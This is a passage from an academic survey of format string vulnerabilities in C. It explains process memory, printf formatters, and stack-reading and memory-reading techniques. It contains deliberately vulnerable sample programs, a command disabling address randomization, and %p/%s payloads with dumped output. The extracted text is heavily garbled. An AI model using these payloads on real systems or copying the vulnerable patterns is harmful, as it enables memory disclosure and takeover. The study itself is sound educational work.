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RESUMO

Este trabalho apresenta um estudo sobre a vulfideala de strings de formatacgéao,
demonstrando como ela ocorre e analisando os medis comuns de exploracao e
prevencéo dessa vulnerabilidade, com enfoque solomnguagem C.

A vulnerabilidade de strings de formatac&o ocouanglo o programador, ao utilizar
uma funcdo de formatagao, permite que um agentrnexttenha controle sobre a
formatacéo utilizada em vez de apenas sobre osegaformatados. Em determinadas
linguagens, esse pequeno erro de programacgao odetip que um atacante sonde
informacfes criticas de um sistema, cause comper@s anormais como
encerramento abrupto do programa ou negacédo de&wery no pior caso, obtenha
controle de um sistema.

No intuito de explicar o funcionamento da vulnelidbde, inicialmente disserta-se
sobre conceitos fundamentais para entendimenta,ds®sino organizacdo da memoaria
de um processo e utilizagcdo de fungbes de formatd€d seguida mostram-se as
técnicas mais comuns utilizadas ao explorar a valhikédade, finalizando com uma
breve listagem das ferramentas disponiveis atuaémpara proteger e prevenir um
sistema contra ela.

Palavras-Chave:Seguranca, vulnerabilidade de strings de formatacao



Format String Vulnerability Survey

ABSTRACT

This paper presents a study on format string valméty, demonstrating how it
occurs and analyzing the most common ways to exata prevent it, focusing on the
C language.

A format string vulnerability occurs when the pragmmer, using a format function,
allows an external agent to have control over thren&t rather than the values being
formatted. In some languages, this small progrargramor can allow an attacker probe
critical data from a system, cause abnormal belhauoch as abrupt termination of a
program or denial of service, and, in the worse¢gsain control of a system.

Intending to explain how the vulnerability workgynse fundamental concepts are
presented first, such as process’ memory organizand usage of format functions.
Next, the most common techniques used when exmipithe vulnerability are
demonstrated, ending with a brief listing of theitable tools to protect and prevent a
system against the vulnerability.

Keywords: Security, format string vulnerability.
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1 INTRODUCAO

A maior parte das linguagens de programacao qumllram com exibicdo de
valores para um usuario acaba necessitando deefsirg formatagcdo. Essas fungbes
normalmente tém a funcdo de converter valores fwimsi em strings, que sdo entao
utilizados para compor uma mensagem facilmenteplastaum humano.

Os detalhes especificos dessas funcdes de forrnatagéam de acordo com a
implementacdo de uma linguagem, embora sigam Ipasid@ a mesma estrutura:
recebem um namero variavel de argumentos, dentgaiais um deles é uma string de
formatacdo e o resto sdo valores a serem convert#fdstring de formatagéo serve de
base para a string resultante, controlando dive@a@steristicas das conversdes de cada
valor, como tipo de converséo utilizada e posicioe@ato na saida.

Em algumas implementacdes, infelizmente, ndo existecontrole sobre quantos
valores sao fornecidos e quantos valores sao adoz pela string de formatacgéo,
possibilitando que uma string de formatacéo utilzais valores do que Ihe foram
fornecidos como argumento. Esse € um dos fatorasgaaisar uma vulnerabilidade de
string de formatacéo.

O segundo fator que ocasiona a vulnerabilidadess8ilpititar que dados provindos
do ambiente externo sejam utilizados como strindod®atacdo ao invés de valores.
Esse tipo de situacdo ocorre normalmente devidaogrgmadores desatentos ou
ignorantes quanto ao uso correto das fungdes dwtacao.

Desde meados de 1999 j4 se tem conhecimento putidiceulnerabilidade em
strings de formatagdo, embora apenas um ano deporiso aumento do numero de
programas descobertos como vulneraveis que segavearia seriedade da situagao.
Desde entdo, diversas técnicas de deteccdo, pBeveerc protecdo tem sido
desenvolvidas e aplicadas, mas devido a naturepaaihddema de ser causada por erro
humano, ainda hoje surgem sistemas vulneraveis.

A partir dos dados seguintes, pode-se ver a ocma@e sistemas vulneraveis nos
ualtimos sete anos.
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Tabela 1.1: Dados estatisticos de sistemas cormarabilidade de string de

formatacgao
Ano 2003 | 2004 2005 2006 200y 2008 2009
N° de sistemas
vulneraveis (somen, 2 1 0 4 25 24 28

string de formatacép)

% do total de

sistemas vulneravejs
(todas as

vulnerabilidades)

0,13 0,04 0 0,06 0,38 0,43 0,54

Fonte: NIST, 2009.

Este trabalho foi realizado em cima da linguagemAdicionalmente escolheu-se o
sistema operacional Linux, distribuicdo Ubuntu 9rima maquina de arquitetura Intel
x86 para execucao dos testes. Plataformas diferpotem necessitar eventuais ajustes
nos codigos mostrados nos capitulos a seguir.

1.1 Organizacéo do Trabalho

O préximo capitulo introduz conceitos fundamentp@a o entendimento da
vulnerabilidade de strings de formatacdo. Sao sgpls brevemente conceitos de
arquitetura, seguidos da especificacao de fungiasatadoras.

No capitulo 3, explica-se como e por que ocorreulaerabilidade de strings de
formatacdo, mostrando como é possivel ler e escval@res da memoria através dessa
vulnerabilidade.

No capitulo 4, expande-se o ferramental mostradoapdtulo 3 para efetivamente
atacar um sistema para tomar posse do controle.d88ib mostrados os pontos
vulneraveis da memdria de um processo que podentikzados para desviar o fluxo
de execucéo de um programa parashahicode ou para uma funcéo da biblioteca LibC.

No capitulo 5, sdo mostradas diversas ferramemta@sgyevenir-se da ocorréncia de
vulnerabilidades em strings de formatacéo, ou asos\@roteger-se de que elas sejam
utilizadas para atacar um sistema.

No capitulo 6 € apresentado um experimento pratieseado nos programas
utilizados durante o trabalho, que mostra os pabssgos de um ataque sobre a
vulnerabilidade de strings de formatacéo.

Por ultimo, sédo apresentadas as conclusdes olpiitasste trabalho, seguidas pelas
referéncias utilizadas.
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2 CONCEITOS INICIAIS

Este capitulo mostra resumidamente 0s conceitasss@os para poder entender o
funcionamento de um ataque sobre a vulnerabilidedermatacéo de strings.

2.1 Organizacao de um processo

Nos sistemas operacionais tradicionais, existe alns&racdo fundamental chamada
de processo, que pode ser definido por “instaneiaird programa em execu¢ao” ou
“contexto de um programa” (BOVET, 2005). Considegacomo parte de um processo
todas as informacdes relevantes para uma compuespieifica, tal como as paginas
de memoria acessadas, arquivos abertos e contelrégidtradores do hardware.

Um processo € inicializado através de um prograxeawavel, que é um arquivo
contendo as estruturas e informacdes necessarmsaodo. Devido as diferencas entre
cada sistema operacional, 0os arquivos executaeemipm formatos diferentes para que
suas estruturas atendam a essas diferentes nedessidlguns exemplos de formatos
de arquivos executaveis sao:

* Executable and Linking Format (ELF), atualmente utilizado nos sistemas
UNIX.

e Assembler Output Format (a.out), antigamente utilizado nos sistemas UNIX.
« DOSexecutable (MZ), utilizado no antigo DOS.
« Portable Executable (PE), atualmente utilizado pelo Microsoft Windows.

Por estar utilizando um ambiente UNIX, o formatoatquivo executavel tratado
neste trabalho sera principalmente o ELF.

2.1.1 Espaco de enderecamento de um processo

Durante a inicializacdo de um processo, é criadespaco de enderecamento para
0 processo. Esse espaco consiste em um intervaémdkrecos de memoéria que ele
estara autorizado a utilizar, composto por cinceasr de memoria principais
(ROBBINS, 2004). Séo elas:

* Segmento de Cadigo, contendo o cédigo de maquieeuéxvel do
programa. Este segmento € declarado como soménte |@odendo ser
compartilhado entre diferentes processos.

» Dados Inicializados, contendo variaveis estaticgieleais cujos valores ja
podem ser obtidos desde o inicio da execuc¢éo. Aolayo apds a area de
segmento de cédigo.

» Dados Nao Inicializados, contendo variaveis globais inicializadas, todas
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com valor ajustado para zero. Alocada logo apdsade dados
inicializados. Historicamente é chamada de B8Sck Sarted by Symbol).

* Heap, area de memoria reservada para alocacéo din@eniceemoria.
Alocada logo apds a area de dados nao inicializagostamanho pode
aumentar conforme a necessidade do processo emncérec
Tradicionalmente é expandida sobre segmentos deraeoom
enderegcamento incremental.

* Pilha, area de memoria reservada para variaveassiatados de retorno e
parametros de fungbes chamadas durante a execei¢éio programa.
Alocada préxima do fim do espacgo de enderecamentesdario, também
pode ser expandida conforme necessidade do proesssgecucao.
Tradicionalmente é expandida sobre segmentos deéraaom
enderecamento decremental.

Dependendo do ambiente, podem ser criadas argasrdéria adicionais no espaco
de enderecamento. Por exemplo, nos sistemas UNIals&adas areas adicionais de
segmento de cdédigo, dados inicializados e nao ailikeidos para cada uma das
bibliotecas compartilhadas que sé&o utilizadas pedgrama, normalmente entrédeap
e a Pilha.

A seguinte imagem ilustra como o espaco de endemga é estruturado nos
sistemas UNIX:

Pilha

!
N

Memoria mapeada para as
bibliotecas compartilhadas

Il
1

Heap

Segmento de dados

Segmento de cddigo

Figura 2.1: Organizagdo do espaco de enderecamentsuario (DUARTE, 2009)

2.1.2 Organizacao da Pilha

Como seu proprio nome indica, a pilha do espagnderecamento € uma estrutura
de dadod.ast In First Out. Através de instru¢cdes PUSH, dados sdo empilhsmloe o
topo da pilha; com instrugbes POP, o valor do tigpilha é desempilhado.

Os dados de uma pilha séo agrupados em blocos dbasgteck frames ou registros
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de ativacdo. Todos os dados de siatk frame pertencem a uma mesma chamada de
funcéo, tal como é mostrado a sequir:

Stack Pointer —> N\

Variaveis Locais da Fungao 2

Stack Frame da Fungéo 2

Endereco de Retorno

Frame Pointer —>

Parametros para a Funcgéo 2

Variaveis Locais da Fungéo 1

Stack Frame da Funcgéo 1
Endereco de Retorno

Parametros para a Funcgéo 1

J

Figura 2.2: Organizacéo dtack frames da pilha (WIKIPEDIA, 2009)

2.2 Registradores

Dos registradores disponiveis na arquitetura Ir88, existem trés registradores
relevantes para o escopo deste trabalho:

» Extended Instruction Pointer (EIP): Valor deste registrador € sempre o
endereco da proxima instrucédo a ser executadad€rexgo de retorno de
uma funcéo, guardado stack frame, é restaurado para este registrador
quando uma funcado termina seu processamento.

» Extended Stack Pointer (ESP): Valor deste registrador é sempre o endereco
do topo da pilha. Atualizado a cada PUSH e PORzeeld sobre a pilha.

» Extended Base Pointer ou Frame Pointer (EBP): Valor deste registrador é
sempre um endereco fixo d@ack frame no topo da pilha, utilizado como
referéncia para calculo de enderec¢os dos valorpghea Cadastack frame
guarda o valor dérame Pointer do stack frame anterior, restaurado quando
a fungéo terminar seu processamento.

2.3 Funcdes de formatacéo

Uma funcdo de formatacdo € um tipo de funcdo nonewate utilizado para
processar strings, convertendo dados primitivosuema string legivel para humanos
(SCUT, 2001). Diversas linguagens de programac@dtemmentam esse tipo de funcéao,
embora o escopo deste trabalho se restrinja amepiacéo definida na linguagem C.

O procedimento basico dessas funcdes utiliza dwis e parametros: a string de
formatacdo e os valores a serem convertidos. Dairaxecucdo de uma funcdo de
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formatacdo, a string de formatacéo € lida caragterearactere; se o caractere lido nao
for o caracteres(no caso da linguagem C). este é copiado parala.$2aso seja uf

0S proximos caracteres da string de formatacadid@opara identificar um formatador.
Em seguida, um dos valores recebidos como parametwavertido para uma string no
formato especificado pelo formatador lido, sendpia#do entdo para a saida no lugar
dos caracteres do formatador. Um exemplo trivialtdzacao seria:

printf(“Valores: %d, %o, %x”, 16, 16, 16);

O trecho de cddigo acima imprimealores: 16, 20, 10 ” no console. Em suma, o
que a funcéo faz € substituirda por 16, que € o primeiras no formato de um nimero
decimal, oxopor20, que é o segund® no formato octal, e @xporio, que é o terceiro
16 no formato hexadecimal.

Os formatadores utilizados nas funcfes de formatalgh linguagem C seguem
seguinte sintaxe (incompleta, opcdes fora do pa@e&oforam omitidas):

% (% | ( Sinalizagdes* Comprimento? (.Precisdo)? Mo dificador de Tamanho? )
Tipo)

*  %dmprime na saida o caractese

* Sinalizagtes  S&0 caracteres opcionais indicando formatacdesativas de
acordo com a seguinte tabela:

Tabela 2.1: Tabela de sinalizacdes de formatadores

Sinalizagao Significado Padréo
. Justifica o resultado a esquerda, dentro do  Justifica o resultado a
comprimento disponivel. direita.

. : . . Exibe apenas o sinal de
+ Exibe sempre o sinal de positivo ou negativo, casg

L negativo, caso o valor
o valor a ser exibido possua um. iy
exibido possua um.

, N&o exibe nada caso o
(espagco em Exibe um espago em branco caso o valor a ser

o : o valor a ser exibido possua
branco) exibido possua um sinal de positivo. . >
um sinal de positivo.

Para os tipod,i ,0,u,x, X, e,E f,g,eG O valor é preenchido com
exibem-se o valor preenchido com zeros a esquerdespacos em branco a
0 até que todo o comprimento especificado seja esquerda até que todo ¢
utilizado. Ignorado caso a sinalizagdou precisdo comprimento especificad

para tipos inteiros estejam especificados. seja utilizado.

OU

Para os tipos o, X, ou X, todos os valores difee
de zero séo prefixados com &, @u X,
respectivamente.

nt N&o é prefixado valor
algum.

Para os tipos f, e, ou E, exibe-se sempre gpgnto exibido apenas caso
ponto. haja valor fracionario.

Ponto exibido apenas caso

. : haja valor fracionario, e
Para os tipos g ou G, exibe-se sempre o ponto e

N C zeros a direita na parte
zeros a direita na parte fracionaria do valor. o =
fracionaria do valor séo

truncados.

Demais tipos ndo tém efeito. -




*  Comprimento

caracteres minimo que sera impresso na saidavoetatim valor. Caso néo
seja declarado ou o nimero de caracteres necesgaia impressao do

Fonte: UBUNTU, 2009.

€ um inteiro ndo negativo opcional
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indicando o arfonde

valor seja maior que o especificado, o valor n&oargcado para exibicéo.

®  Precisdo
indicando o numero de caracteres a serem escihitas mimero de casas

€ um valor inteiro ndo negativo opcional

precedido um ponto,

decimais ap6s o ponto, de acordo com o tipo. Aldabeseguir lista os
significados derecisao

Tabela 2.2: Tabela de precisédo de formatadores

Tipo

Significado

Padrao

i,d,u,o,x,X

Numero minimo de caracteres a serem escr
Caso o numero de caracteres do valor seja n
gue a precisdo, sao adicionados zeros a
esquerda; o valor néo é truncado.

tos. Minimo de
caracteres é um.

Numero de digitos apos o ponto decimal a serblimero de digitos
escritos. O ultimo digito apos o ponto decimal é apos o0 ponto

arredondado. Caso a precisao seja 0 ou haja decimal € seis.
somente o0 ponto sem um numero de preciséo, é

exibido apenas a parte inteira do niumero

Numero maximo de digitos significativos a
serem escritos.

Todos os digitos
significativos sé&o
escritos.

NuUmero de caracteres da string a serem escritao escritos todos

0s caracteres da
string ate que seja
encontrado um
caractere nulo.

Demais tipos

Sem efeito

*  Modificador de tamanho

Fonte: UBUNTU, 2009.

sao caracteres opcionais que indicam o tamanho do

valor esperado. Existem diversos modificadoregdiss na tabela a seguir:
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Prefixo Tipos Tamanho
h i,d,u,o0,x X short
unsigned short
n short*
unsigned short*
hh i,d,u,0,x X char
unsigned char
n char*
unsigned char*
| i,d, u, 0, x, X long int
unsigned long int
n long int*
unsigned long int*
c wint_t
S wchar_t*
Il i,d,u,0,x, X long long int
unsigned long long int
n long long int*
unsigned long long int*
L e Efg G long double
j i,d, u,0,x X intmax_t
uintmax_t
t i,d,u,0,x, X ptrdiff_t

Fonte: UBUNTU, 2009.

* Tipo € um caractere obrigatorio que especifica o tijimivo do valor a ser
convertido, de acordo com a seguinte tabela (ceradio uma arquitetura
de 32 bits):
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Caractere

Tipo

Saida

Bytes
Recebidos

int

Inteiro decimal com sinal

4

int

Inteiro decimal sem sinal

4

int

Inteiro octal sem sinal

4

int

Inteiro hexadecimal sem sinal, utilizangodef

4

int

Inteiro hexadecimal sem sinal, utilizanelecDEF

4

double

Double com sinal. NUmero de casas antes ¢
ponto dependente da magnitude do valor; nan
de casas depois do ponto definido pela precis

lo 8
nero
3a0.

double

Double no formato exponencighd.\d+e(\+|\-
N\d+) . O numero de casas ap0s o0 ponto na ba
definido pela precisao.

8
1Se é

double

Double no formato exponencighd.\d+E(\+|\-
N\d+) . O numero de casas ap0s 0 ponto na ba
definido pela precisao.

1se é

double

Double exibido igual a se o expoente do valor
menor que -4 ou maior que a precisao. Cas
contrario, é exibido igualfa

M-
e¢)

double

Double exibido igual a se o expoente do valor
menor que -4 ou maior que a precisédo. Cas
contrario, é exibido igualma

char

Caractere.

char*

Imprime um array de caracteres terminado por
caractere nulo ou até que o numero estipulado
precisdo seja atingido.

um
pela

void*

Imprime o endereco recebido como o formata
#X.

dor

int*

Escreve no inteiro apontado o niamero de
caracteres escritos até agora no buffestimam.

Fonte: UBUNTU, 2009.

Existem ainda dois outros tipos de opc¢ao de forpaatado inclusos no padrao C99,
mas relevantes para o trabalho que sdo o aces$o diparametros) e o especificador
de tamanho dinamice ), descritos a seguir.

2.3.1 Acesso direto a parametro

O acesso direto a parametro é posto logo ape® @onsiste de um nimero decimal
inteiro ndo negativo seguido de wm O numero especificado determina qual dos
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parametros passados a funcdo sera convertido, $etar @ ordem na qual os
parametros estdo sendo consumidos. Por exemplo:

printf(“Segundo valor: %2%$d”, 15, 16, 17);

O trecho de cddigo acima imprimeegundo valor: 16 " no console. A pilha
continua com o valor 15 no topo.

2.3.2 Especificador de tamanho dinamico

O especificador de tamanho dinamico é utilizadaldeam+ no lugar do niumero
decimal inteiro positivo do comprimento de um fotat®r. Normalmente significa que
0 préximo valor da pilha servira como comprimentofdrmatador, avancando o topo
da pilha no processo. Por exemplo:

printf(“Valor: %0*d”, 2, 3, 4);

O trecho de codigo acima imprimealor: 03 " no console. A pilha agora tem o
valor 4 no topo.

Na implementacdo da linguagem C da GNU, se o addissto a parametro for
utilizado sobre o valor de um formatador, tambéndepser utilizado sobre o
especificador de tamanho dinamico. Por exemplo:

printf(“Valor: %2$0*3%d, 2, 3, 4);

O trecho de c6digo acima imprimealor: 0003 " no console. A pilha continua com
2 no topo.

Na implementacéo da linguagem C da BSD, o espadticde tamanho dinamico
pode ser replicado para avancar mais de um pa@metpilha em busca do tamanho
do formatador. Por exemplo:

| printf(“Valor: %0***d, 2, 3, 4, 5, 6); |

O trecho de codigo acima imprimealor: 0005 " no console. A pilha agora tem o
valor 6 no topo. Neste caso, os valores 2 e 3isfaesmente descartados. Note que:

| printf(“Valor: %0**7d, 2, 3, 4, 5, 6); |

No caso acima, é impressaafor: 0000005 ”. A existéncia de um valor explicito de
comprimento tem precedéncia sobre os especificadigetamanho dinamico, mas a
pilha avanca a leitura de valores da mesma man®irtopo da pilha, neste caso,
também aponta para o valor 6, mesmo que os vaoee 4 ndo tenham sido utilizados
em nenhum momento.

2.3.3 Familia de fun¢des formatadoras

No padrdao C99 sédo definidas as seguintes funcOe® quarte da familia de
formatadores de string:

Inclusas na bibliotecadio.h

int printf(const char * format, ..);

int fprintf(FILE * st r eam const char * format, ..);

int sprintf(char * str, const char * format, ..);

int snprintf(char * str, size_t si ze, const char * format, ..);

Inclusas na bibliotecadarg.h
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int vprintf(const char * f ormat , va_list ap);

int vfprintf(FILE * st r eam const char * format, va_list ap);

int vsprintf(char * str, const char * f ormat , va_list ap);

int vsnprintf(char * str, size_t si ze, const char * format, va_list ap);

Essas funcbes diferem basicamente em onde a s@sujtante € impressa: na
funcaoprintt € impresso sobre a saida padrdo, enquanto naofggngd € impresso
sobre umstream e nasprintf € snprintf € sobre um string. A diferenca entre as
funcdessprintt e snprintft € que asnprintt  controla o numero de bytes escritos no
string, desconsiderando o caractere nulo. Todas dégh¢des retornam o numero de
bytes escritos na saida. As func@@sntt , vfprintf , vsprintf € vsnprintf sao
equivalentes as respectivas primeiras quatro, excete recebem um vetor de
argumentos em vez de terem um numero variavel idenedros.

Existem ainda funcdes ndo pertencentes a essaidamibs que apresentam
comportamento semelhante de formatacéo de stiigisas destas ndo pertencem ao
padrdo C99, mas apresentam a mesma vulnerabilidadstrings de formatacéo.
Exemplos dessas funcdes saetproctitle (sysitypes.n ), que altera o titulo de um
processo com um texto formatado gskbg , que formata o texto deg antes de enviar
para a funcionalidade homoénima.
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3 VULNERABILIDADE DE STRINGS DE
FORMATACAO

Neste capitulo sera mostrada a vulnerabilidadefumastes de formatacdo. Sera
explicado como e por que ela ocorre, e como &ati para ler ou escrever valores da
memoria.

Os exemplos deste capitulo requerem que a alemtéozla memoaria seja desligada
com o comando abaixo. Veja a se¢ao 5.4 para mardoemacoes.

sysctl -w kernel.randomize_va_space=0

3.1 Leitura de valores da pilha
Considere a seguinte situacgao:

char user_input[100];

scanf("%s", user_input);

printf(user_input);

No cédigo acima é lido uma frase qualquer digiteel® usuario no console, que é
repetida logo apés com o comandad . O resultado, normalmente, € 0 esperado, e a

mensagem € repetida na saida. No entanto, supamha qsuario digite algo como
“100% ok . Na saida, um dos resultados possiveis é:

100 1001101323k

O problema que ocorre é que a frase digitada psi@rio é repassada como
primeiro parametro da funcgantt , que é reservado para a string de formatagédo. O
comportamento normalmente esperado de um trecltdadigo como esse é que o0 que
seja digitado pelo usuario seja tratado como umagstomum, ndo uma string de
formatacdo. No caso, a fras®dw ok ”, se tratada como string de formatag¢éo, contém
um formatador % o” que imprime um valor inteiro como octal precedpmy um espaco
caso seja um valor positivo, sem que haja um yassado como argumento para ser
convertido por esse formatador. O modo corretotidizacdo seria entao:

char user_input[100];

scanf("%s", user_input);

printf("%s", user_input);

Ao possibilitar que o usuario supra um programa coma string de formatacao, €
dado a ele um controle parcial da execucéo do gnogr mais especificamente sobre o
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processamento da formatacdo. Como a implementasafudcdes de formatacdo em C
e C++ néo verifica se a quantidade de formataddikzados na string de formatacao &

igual ou menor que a quantidade de valores fornscitbmo argumento, quando

ocorrem essas situacdes de haverem mais formasadorque valores fornecidos, as
funcdes de formatacdo acabam utilizando valoresvidds para a conversdo, em vez de
emitir erro.

Para ilustrar a situacao, considere a seguinteafige como @tack frame pode estar
organizado durante a execucéo de uma fungéao datacao:

Stack Pointer —>

Variaveis Locais do printf()

Frame Pointer —>
Base Pointer salvo

Endereco de Retorno

Endereco do string de formatagéo Stack Frame do printf()

Valor 1

Direcdo de leitura Valor 2
de valores

Valor n 4

Variaveis Locais da
fungdo anterior > Stack Frame anterior

S

Figura 3.1: Organizagdo de wtack frame de uma chamada a fungaatt () (SCUT,
2001)

Durante o processamento da string de formataciimcao de formatagdo acessa os
valores passados como argumento através de umirpoqtee percorre a pilha na
direcdo do inicio datack frame conforme for a demanda. No entanto, por ndo haver
verificacdo de quantidade de argumentos, se homees formatadores na string de
formatacdo do que valores passados como argungeptmteiro continua a percorrer a
pilha invadindo os demais stack frames. Por exenalgldo o seguinte programa:

#include <stdlib.h>

#include <stdio.h>

/* vulnprogl.c */

int main(int argc, char *argv[])

{
char user_input[100];
unsigned int value_on_stack;

unsigned int *value_on_heap;
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value_on_stack = 0x01010101;

value_on_heap = (unsigned int *) malloc(sizeof(u nsigned int));

*value_on_heap = 0x00434241;

printf("Digite seu nome:\n");

scanf("%s", user_input);

printf(user_input, 42); // <-- Codigo vulneravel
printf("\n");

free(value_on_heap);

return O;

O programa acima, quando executado, apenas pedeopasuario digitar o seu
nome, imprimindo o nome recém digitado logo apdsleNforam alocados uma
variavel com valopxo1010101 na pilha, uma variavel com val®o434241 no heap e
um buffer para armazenar a entrada do usuério, tambémfhra pil

Ao imprimir o nome recém digitado, € utilizada costong de formatacéo a entrada
do usuario, causando a vulnerabilidade. Nessa dwm@duncaqrintt € passado o
valor 42 como argumento. Caso o usuario nao eatrerenhum formatador, o valor 42
€ simplesmente ignorado:

Digite seu nome:

Tiago
Tiago

Caso o usuario entre com um formatador, o valax dgibido:

Digite seu nome:
%d
42

No entanto, o usuario tem liberdade de visualiZzgy somente o valor 42, como
qualquer valor na pilha que a funcéo erroneameamntsiderar como valor passado como
argumento:

Digite seu nome:

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.  %p.%p.%p.%p.%p.%p.%p.%p.%p
.%p.%p.%p.%p.%p.%p.%p

0x2a.0x80482d3.0xb7eeec20.0xbf971774.0x1.0xb8071ff4 .0xf63d4e2e.0x804b008.0x10

10101.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0 X70252e70.0x2e70252e.0x252
€7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0 x2e70252e.0x252e7025.0x702
52e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0 x252e7025.0x70252e70.0x2e7

0252e.0x252e7025.0x70252e70.0x2e70252e

Utilizando um numero extenso de formatadores, gadesnseguir urdump parcial
da pilha, como mostrado acima. Analisando a saitlday pode-se ver nela:
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* ox2a: Valor 42, o Unico realmente fornecido como pafémpara a funcéo
formatadora.

*  0x80482d3.0xb7eeec20.0xbf971774.0x1.0xb8071ff4.0xf6 3d4e2e : Valores dos
registradores salvos durante a chamada a LibC.

*  0x804b008 : value_on_heap . Inicio da invasao dstack frame damain .
® 0x1010101 : value_on_stack

®  0x252e7025.0x70252e70.0x2e70252¢. (...) user_input[100] . 25 é o caracters
em ASCll,2e € 0. e 70 é @.

Note que a foi posto meramente para melhorar a visualizagidudp, podendo
ser omitido caso for desejado.

3.1.1 Otimizacéao de leitura da pilha

No programa anterior, como a fungé&enf utilizada ndo faz verificacdo de niamero
de caracteres, digitar mais de 100 caracteresarEasistouro dbuffer, sobrescrevendo
os valores da pilha abaixo dwiffer com a string de formatacdo. Nessa situacdo em
particular, mesmo estouranddoffer, todos os caracteres da string de formatagdo sao
processados pelgintt . Se for desejado, pode-se forcar o término daueecdo
programa com erro de segmentacao ao utilizar eaescsuficientes para sobrescrever
valores fora dastack frame do programa. Pode-se também sobrescrever o endiéeec
retorno do programa num ataque no estilo de estbeitnuffer. Esse método de ataque
nao sera descrito aqui; mais informacdes possasnsentradas em SCUT (2001).

O programador, para evitar parcialmente que essas @corram, pode utilizar uma
funcdo com verificacdo de tamanho para controlatimero de bytes escritos num
buffer, como, por exemplosnprintf ou vsnprintt . Neste caso, o0 atacante fica
efetivamente restrito a uma string de formatacdo con niamero de caracteres pré-
determinado pelo programador. Como nossa capacidadeésualizacdo da pilha é
determinada pela quantidade de formatadores gtreng de formatacdo comporta no
buffer, € desejado que os formatadores consigam ler amogxossivel da pilha com
menos caracteres possiveis.

Através de uma andlise dos tipos dos formatadoata;se que 0s tipdse, E, g €G
léem 8 bytes da pilha, enquanto todos os outram l@genas 4. Logo, utilizando o
minimo de opcionais possiveis, necessitamos derateaes para imprimir 8 bytes
numa proporcao de 4:1, que seria 0 maximo que de pbter normalmente de um
string de formatacdo. No entanto, numa situacdoqam é importante determinar
exatamente o valor em memoria, € quase inviavékariesses formatadores pela
dificuldade de transformar um numero de ponto #aote em sua representacdo em
bytes. Além disso, dependendo do conteudo em maperconversao dos bytes para
um numero de ponto flutuante pode ocasionar divig@ozero no calculo da parte
fracionaria, terminando com a execucao do progrdaanto, caso seja importante
saber o valor em memobria, estamos restritos a prapode 2:1 dos demais
formatadores de inteiros.

Nas situacoes em que se utilizam formatadores natring de formatacdo
meramente para avancar a posicao do topo da pitiraa-se viavel utilizar
formatadores cuja conversao para uma string perftamacdes da representacao
original, mas que tenham melhor proporcdo de keipar caracteres utilizados. O tipo
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f, por exemplo, descartado anteriormente pelo rieadivisdo por zero, pode ser
utilizado comow.f, que descarta a parte fracionéria do célculo nrafaaassim 1é 8
bytes da pilha, totalizando uma proporcéao de 3:8.

Na implementacdo da linguagem C dos sistemas B®DBe-pe utilizar ainda o
especificador de tamanho dinamico para ler 4 byidisionais por especificador.
Recomenda-se, no entanto, utiliza-lo com um conmgmtmfixo especificado depois dos
asteriscos para manter o numero de caracteres gtassdo sob controle (importante
para escrita de valores na memoéria descrita n® $£8§ ja que nao se pode prever qual
o valor final da pilha que sera utilizado como campnto. Por esse motivo também
nao se recomenda utilizad-lo nas demais implemeesagé linguagem C, até porque a
implementacéo dos sistemas BSD € a Unica ondepugsbilidade de replicacdo do
especificador de tamanho dinamico.

3.2 Leitura de valores da memoaria

Trabalhando com formatadores de inteiros e de rasnde ponto flutuante, o
MAaximo que se consegue é visualizar valores da.fbses formatadores se restringem
a ler um ou dois bytes e realizar a conversaoyragastring em cima dos bytes lidos.

No entanto, o formatadess possui um comportamento diferente. Por trabalbar ¢
um ponteiro para um array de caracteres, ele ldytmnda pilha e utiliza-o como um
ponteiro para encontrar onde o array de caracterdgcaliza, realizando a conversao
em cima do array de caracteres, ndo sobre o pontEgse comportamento nos
possibilita ler valores ndo somente da memoria,deasdo o espacgo de enderecamento
do processo.

Existem diversas restricdes ao que pode ser lmlentanto:

* Tentativas de acesso a enderecos ilegais (ndo dwg)eeio terminar com o
programa.

* A saida se restringe a caracteres ASCII, dificdibaas vezes visualizar o
valor original.

« As mesmas regras de leitura de strings se apligaadquer caractere nulo
lido sinaliza final de string, encerrando com aulei da memodria. Isso
significa que pode ser impresso na saidadump extenso daquele trecho de
memoria, por ndo encontrar nenhum caractere nul® geminho, como
também trechos com muitos bytes em 0 podem reqderersas tentativas
de leitura.

* O endereco do trecho de memoria desejado paraaleleyve estar na pilha.
Na maior parte das vezes, tem-se que achar algomaafde injetar o
endereco desejado la.

Tomando por exemplo o programa da secao 3.1, paemoalizar facilmente o
valor noheap apontado pela variavediue_on_heap com o formatado¥s

Digite seu nome:
%p.%p.%p.%p.%p.%p.%p.%s
0x2a.0x80482d3.0xb7eeec20.0xbf971774.0x1.0xb8071ff4 .0xf63d4e2e.ABC
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Na string de formatagcéo acima, a pilha é avanceda andereco delue_on_heap |,
que é entdo lido com o formatador %s. Numa segandlse, supondo que a variavel
value_on_heap fosse um array nleeap, em vez de um unico valor:

value_on_heap = (unsigned int *) malloc(2*sizeof (unsigned int));
value_on_heap[0] = 0x00434241;
value_on_heap[1] = 0x00595857;

Enquanto o indice 0 do array continua sendo facitendido, ja que a variavel
value_on_heap aponta para la, o0 mesmo néo ocorre caso fossg@deder o valor do
indice 1. Mesmo que ele esteja logo ao lado, o datpie o endereco do indice 1 do
array nao esta na pilha,, logo, ndo pode ser lidteaos que seja injetado de alguma
forma la.

Para injetar um endereco na pilha, cada progrande possuir uma abordagem
diferente, mas em boa parte dos casos pode-seidi@nefo fato que a string de
formatacdo € normalmente armazenada localmente petmramadores, tal como o
programa da sec¢do 3.1. Num programa vulnerave férs o controle sobre a string de
formatacdo; pode-se aproveitar desse fato paracamwloela também o endereco
desejado para leitura. Desta forma, pode-se esirutuma string de formatacdo da
seguinte maneira:

[ Padding ][ Endereco alvo ][ Stack Popping ][ %s ]

* Padding : O a 3 caracteres qualquer para alinhamento ohg ste formatacéo
com a pilha. Pode ser necessario se, por exemptring de formatacéo
possuir caracteres ndo multiplos de 4 antes daxcteaes que o usuario
possa fornecer.

* Enderesoalvo : 4 “caracteres” especificando o endereco alvo |egitara.

* stack Popping : Formatadores para avancar o topo da pilha athego do
endereco alvo.

* %s Formatador para visualizar o valor apontado paltereco alvo.

Considere entdo o seguinte programa vulneravel:
#include <stdlib.h>

#include <stdio.h>

#define VALUE1 0x00434241 // ABC
#define VALUE2 0x00595857 // WXY
#define VALUE3 0x00777777 /] www

/* vulnprog2.c */

int main(int argc, char *argv[])

{
char user_input[300];
unsigned int value_on_stack;
